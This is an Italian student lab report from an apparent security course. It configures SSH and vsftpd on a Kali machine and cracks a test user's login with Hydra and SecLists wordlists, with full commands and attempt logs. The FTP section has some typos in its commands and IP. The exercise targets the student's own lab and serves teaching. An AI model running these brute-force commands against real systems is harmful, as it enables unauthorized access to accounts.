

PROGETTO S6

Authentication cracking con Hydra

17/01/2025

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

SVOLGIMENTO

Come da traccia procedo a creare un nuovo utente su kali (test_user), aggiungendo anche una password (testpass). Il comando da eseguire è `<adduser>`

```
(kali㉿kali)-[~]
└─$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Intanto ho anche scaricato la seclists per avere una collezione di username e password, il comando da eseguire è il seguente: `<sudo apt install seclists>`

```
(kali㉿kali)-[~]
└─$ sudo apt install seclists
[sudo] password for kali:
Installing:
  seclists
Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1900 (1001) ...
  Download size: 526 MB
  Space needed: 2,082 MB / 56.3 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2024.4-0kali1 [526 MB]
Fetched 526 MB in 4min 10s (2,104 kB/s)
Selecting previously unselected package seclists.
(Reading database ... 395857 files and directories currently installed.)
Preparing to unpack .../seclists_2024.4-0kali1_all.deb ...
Unpacking seclists (2024.4-0kali1) ...
Setting up seclists (2024.4-0kali1) ...
Processing triggers for kali-menu (2024.3.1) ...
Processing triggers for wordlists (2023.2.0) ...
```

Ora attiviamo il servizio ssh, prima di farlo però entriamo nel file di configurazione per abilitare l'accesso all'utente root in ssh (di default è vietato), qui possiamo anche cambiare la porta e l'indirizzo di binding del servizio e modificare molte altre opzioni.

Accediamo al file di configurazione con questo comando:

```
<sudo nano /etc/ssh/sshd_config>
```

Cerchiamo la riga che dobbiamo modificare per dare l'accesso al root, cancelliamo il <#> in modo che non sia un commento e scriviamo <yes>.

```
#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
```

Salviamo, torniamo indietro e avviamo il servizio ssh con questo comando:

```
<sudo service ssh start>
```

```
(kali㉿kali)-[~]
$ sudo service ssh start

(kali㉿kali)-[~]
$ ssh test_user@192.168.50.5
The authenticity of host '192.168.50.5 (192.168.50.5)' can't be established.
ED25519 key fingerprint is SHA256:+qjnWvRrSOHwNB9fZjeJWlk0V367jdfd6Fv/LwKG3B4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.5' (ED25519) to the list of known hosts.
test_user@192.168.50.5's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$
```

Come possiamo vedere abbiamo ricevuto il prompt dei comandi dell'utente <test_user> sul nostro kali.

A questo punto, avendo verificato l'accesso, non ci resta che configurare Hydra per una sessione di cracking.

Il comando da eseguire è il seguente: `<hydra -l username -p password IP -t 4 ssh>`

<-l>, e <-p> minuscole si usano se vogliamo utilizzare un singolo username ed una singola password. Ipotizziamo di non conoscere username e password ed utilizziamo invece delle liste per l'attacco a dizionario. Useremo gli switch -L, -P (entrambi in maiuscolo).

`<hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.5 -V -t4 ssh>`

```
(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.5 -V -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 05:38:14
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455000000 login tries (l:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.50.5:22/
[ATTEMPT] target 192.168.50.5 - login "info" - pass "123456" - 1 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "password" - 2 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "12345678" - 3 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "qwerty" - 4 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "123456789" - 5 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "12345" - 6 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "1234" - 7 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "111111" - 8 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "1234567" - 9 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "dragon" - 10 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "123123" - 11 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "baseball" - 12 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "abc123" - 13 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "football" - 14 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "monkey" - 15 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "letmein" - 16 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "996969" - 17 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "shadow" - 18 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "master" - 19 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "666666" - 20 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "qwertyuiop" - 21 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "123121" - 22 of 8295455000000 [child 3] (0/0)

[ATTEMPT] target 192.168.50.5 - login "info" - pass "maximus" - 581 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "genius" - 582 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "cool" - 583 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "vampire" - 584 of 8295455000000 [child 2] (0/0)
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
```

Come si può vedere impiega un pò di tempo, passati 20 mn ho stoppato la ricerca perchè altrimenti ci avrei impiegato un'eternità.

Noi sappiamo quali sono username e password, quindi, sono entrato nei file dei dizionari di password e username in cui vogliamo effettuare la ricerca, in questo caso sono:

- xato-net-10-million-usernames.txt
- xato-net-10-million-passwords-1000000.txt

```
File Actions Edit View Help
(kali@kali)-[/usr/share/seclists/Usernames]
$ sudo nano xato-net-10-million-usernames.txt
```

```
File Actions Edit View Help
GNU nano 8.1 xato-net-10-million-usernames.txt
test_user
info
admin
2000
michael
NULL
john
david
robert
chris
mike
dave
richard
123456
thomas
steve
mark
andrew
daniel
george
paul
charlie
dragon
```

Ho impostato <test_user> come prima opzione in questo modo la ricerca sarà nettamente più veloce.

```
File Actions Edit View Help
GNU nano 8.1 xato-net-10-million-passwords-1000000.txt
1qaz2wsx
7777777
fuckyou
121212
000000
qazwsx
123qwe
killer
trustno1
jordan
jennifer
zxcvbnm
asdfgh
hunter
epicode
buster
soccer
harley
batman
andrew
tiger
sunshine
iloveyou
fuckme
testpass
charlie
robert
thomas
hockey
ranger
daniel
```

stesso passaggio con la password; l'ho portata in alto in modo che ci metta poco tempo per trovarla.

Riavvio la ricerca e vediamo come hydra ci ha trovato i dati


```
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "asdfgh" - 41 of 8295456000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "hunter" - 42 of 8295456000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "epicode" - 43 of 8295456000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "buster" - 44 of 8295456000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "soccer" - 45 of 8295456000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "harley" - 46 of 8295456000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "batman" - 47 of 8295456000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "andrew" - 48 of 8295456000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "tigger" - 49 of 8295456000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "sunshine" - 50 of 8295456000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "iloveyou" - 51 of 8295456000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "fuckme" - 52 of 8295456000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "testpass" - 53 of 8295456000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "charlie" - 54 of 8295456000000 [child 2] (0/0)
[22][ssh] host: 192.168.50.5 login: test_user password: testpass
[ATTEMPT] target 192.168.50.5 - login "info" - pass "123456" - 1000001 of 8295456000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "password" - 1000002 of 8295456000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "12345678" - 1000003 of 8295456000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "qwerty" - 1000004 of 8295456000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "123456789" - 1000005 of 8295456000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "12345" - 1000006 of 8295456000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "1234" - 1000007 of 8295456000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "111111" - 1000008 of 8295456000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "1234567" - 1000009 of 8295456000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "dragon" - 1000010 of 8295456000000 [child 3] (0/0)
```

Ovviamente possiamo fare questo procedimento poichè conosciamo sia la password che l'username, altrimenti ci sarebbe voluto MOLTO tempo per la ricerca, proibitivo per il nostro caso.

Seconda parte

Per la seconda parte dell'esercizio andrò a configurare il servizio FTP e proverò a craccare l'autenticazione sempre con Hydra.

Ho installato il servizio FTP tramite questo comando: `< sudo apt install vsftpd >`

```
File Actions Edit View Help
(kali@kali)-[~]
$ sudo apt install vsftpd
[sudo] password for kali:
Installing:
vsftpd

Summary:
Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1900
Download size: 142 kB
Space needed: 352 kB / 54.1 GB available

Get:1 http://mirror.init7.net/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [142 kB]
Fetched 142 kB in 2s (62.8 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 402207 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13.1_amd64.deb ...
Unpacking vsftpd (3.0.3-13.1) ...
Setting up vsftpd (3.0.3-13.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.12.1-2) ...
Processing triggers for kali-menu (2024.3.1) ...

(kali@kali)-[~]
$
```

Avviamo il servizio con il seguente comando:

<sudo service vsftpd start>

```
(kali㉿kali)-[~]  
$ sudo service vsftpd start
```

Una volta avviato, accediamo al servizio FTP utilizzando questo comando:

<ftp test_user@198.168.50.5>

Ci chiederà solo di immettere la password <testpass>

```
(kali㉿kali)-[~]  
$ ftp test_user@192.168.50.5  
Connected to 192.168.50.5.  
220 (vsFTPd 3.0.3)  
331 Please specify the password.  
Password:  
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp> █
```

Fatto ciò, non ci resta che craccare l'autenticazione del servizio ftp usando Hydra come prima:

<hydra -L /usr/share/seclists/Username/xato-net-10-million-
usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-
passwords-1000000.txt 192.168.50.5 -V -t16 ftp>

Il comando è lo stesso di prima a differenza del servizio che vogliamo craccare e il tempo che in questo caso è 16.

```
(kali@kali)~$ hydra -l /usr/share/seclists/Username/xato-net-10-million-username.txt -P /usr/share/seclists/Password/xato-net-10-million-passwords-1000000.txt 192.168.50.5 -V -t16 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).
```

```
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "thomas" - 56 of 8295456000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "hockey" - 57 of 8295456000000 [child 4] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "ranger" - 58 of 8295456000000 [child 9] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "daniel" - 59 of 8295456000000 [child 11] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "starwars" - 60 of 8295456000000 [child 12] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "klaster" - 61 of 8295456000000 [child 13] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "112233" - 62 of 8295456000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "george" - 63 of 8295456000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.5 - login "test_user" - pass "asshole" - 64 of 8295456000000 [child 5] (0/0)
[21][ftp] host: 192.168.50.5 login: test_user password: testpass
[ATTEMPT] target 192.168.50.5 - login "info" - pass "123456" - 1000001 of 8295456000000 [child 10] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "password" - 1000002 of 8295456000000 [child 8] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "12345678" - 1000003 of 8295456000000 [child 6] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "qwerty" - 1000004 of 8295456000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "123456789" - 1000005 of 8295456000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "12345" - 1000006 of 8295456000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.5 - login "info" - pass "1234" - 1000007 of 8295456000000 [child 5] (0/0)
```

Anche in questo caso abbiamo trovato password e username in poco tempo poiché le liste sono state modificate in precedenza.